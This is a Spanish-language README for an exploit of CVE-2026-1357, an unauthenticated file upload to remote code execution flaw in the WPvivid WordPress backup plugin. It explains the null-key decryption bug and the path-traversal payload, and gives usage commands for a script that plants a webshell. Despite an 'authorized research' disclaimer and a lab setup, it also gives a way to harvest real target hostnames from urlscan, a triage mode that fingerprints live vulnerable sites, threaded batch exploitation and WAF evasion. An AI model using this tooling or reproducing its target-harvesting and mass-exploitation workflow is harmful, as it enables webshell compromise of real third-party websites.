
Prueba de concepto de exploit para CVE-2026-1357, una subida de archivos arbitraria sin autenticación en WPvivid Backup & Migration que conduce a la ejecución remota de código. Incluye un script independiente en Python, técnicas de evasión de WAF y un laboratorio vulnerable dockerizado para autorizar
PoC para CVE-2026-1357 (CVSS 9.8 Crítico, CWE-434): una subida de archivos arbitraria sin autenticación en el plugin WPvivid Backup & Migration para WordPress que conduce a la ejecución remota de código. Corregido en 0.9.124 (changeset 3448386). Reportado por Lucas Montes a través del programa Bug Bounty de Wordfence.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
Esta prueba de concepto se proporciona únicamente para investigación de seguridad autorizada, educación y pruebas defensivas.
El manejador send_to_site sin autenticación (includes/customclass/class-wpvivid-send-to-site.php) descifra un blob proporcionado por el atacante y escribe el contenido de $params['data'] en wp-content/wpvividbackups/<nombre controlado por el atacante> — sin autenticación, sin nonce y sin saneamiento de rutas en name.
La protección prevista es RSA: el mensaje debe estar cifrado con una clave de sesión aleatoria, que a su vez está cifrada con RSA usando la clave del sitio. El fallo está en WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php):
$key = $rsa->decrypt($key); // devuelve FALSE en caso de error (blob de clave inválido)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE se trata como una clave de bytes nulos
return $rij->decrypt($data);
El método Crypt_RSA::decrypt() de phpseclib devuelve false cuando el blob de clave proporcionado no puede descifrarse (por ejemplo, cuando openssl_private_decrypt() falla), y el plugin no aborta. false se pasa entonces a Crypt_Rijndael::setKey(), donde strlen(false) → 0 → la clave se rellena con 16 bytes nulos (AES-128, modo CBC, IV nulo). Por lo tanto, un atacante "cifra" la carga útil con una clave nula totalmente predecible — sin necesidad de conocer la clave real del sitio.
La carga útil es JSON:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 de PHP>"}
name se concatena en la ruta sin saneamiento (str_replace('wpvivid','wpvivid_temp', $name) solo reescribe la subcadena "wpvivid"), por lo que ../../ escapa de wp-content/wpvividbackups/ hacia la raíz web. Cuando file_size/md5 coinciden, el archivo temporal se renombra al nombre elegido por el atacante → PHP accesible públicamente → RCE.
La corrección (changeset 3448386) aborta cuando falla el paso RSA:
if ($key === false || empty($key)) {
return false;
}
Objetivo:
wpvivid_api_token debe existir y no estar caducada — se crea cuando un administrador hace clic en Generar en WPvivid → Ajustes → Migración automática (común en sitios que usan la función de migración)Atacante:
script.py es totalmente autónomo: solo biblioteca estándar, sin importaciones locales, sin archivos externos. CLI posicional simple:
# objetivo único
python script.py https://target.example.com
# comando personalizado
python script.py https://target.example.com --command "uname -a"
# modo por lotes (una URL por línea) -> success.txt / failed.txt
python script.py sites.txt --threads 10
# Evasión de WAF: nombres/valores de parámetros codificados en porcentaje o cuerpo multipart
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# auto-eliminar el webshell después de la prueba
python script.py https://target.example.com --cleanup
Códigos de salida: 0 vulnerable, 1 en caso contrario.
../lab/ contiene un objetivo vulnerable dockerizado (WordPress 6.8 + fuente de WPvivid 0.9.123 desde plugins/):
cd ../lab
docker compose up -d
# completa la instalación de WordPress en http://localhost:8090/
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
Fuentes verificadas que funcionan (probadas en vivo, sin necesidad de cuenta):
https://urlscan.io/search/#filename:wpvivid-backuprestore
~74 páginas indexadas que hacen referencia al slug del plugin; haz clic y recopila los nombres de host. Cada URL de resultado comienza con la ruta del plugin (/wp-content/plugins/wpvivid-backuprestore/), por lo que la extracción de hosts es fácil.Consultas que se probaron y NO producen objetivos (excluidas a propósito):
Dorks de Google/Bing (inurl: devuelve solo las páginas de wordpress.org del propio plugin o un muro anti-bots), DuckDuckGo (igual), Shodan http.html: (HTML truncado indexado, cero resultados), comodín de Wayback CDX (vacío), PublicWWW (bloqueo de scraping de invitados).
Alimenta los hosts recopilados al triaje (integrado en script.py como --triage), que comprueba en cada sitio:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123 (comprobación sin autenticación de bajo ruido; las cadenas de consulta ?ver= de los assets en el HTML son el respaldo)wpvivid_action=send_to_site&wpvivid_content=AAAA:
respuesta JSON (The key is invalid.) = wpvivid_api_token existe;
vacío = sin token / plugin inactivo / WAF descartó la sondaSolo los sitios que son <= 0.9.123 y con token activo se escriben en in-scope.txt, luego:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
Técnicas portadas de un uploader de 2025 de larga duración que siguió funcionando en entornos reales (mismo autor):
X-Requested-With: XMLHttpRequest,
Accept: application/json, */*;q=0.1, Referer del mismo origen, UA de navegadorReferer del mismo origen--threads N) con tiempos de espera cortos por solicitudsuccess.txt / failed.txt escritos en modo por lotes, solo los shells verificados se registran como éxito (como el archivo success del original)--encode / --multipart para evasión de la forma de la solicitud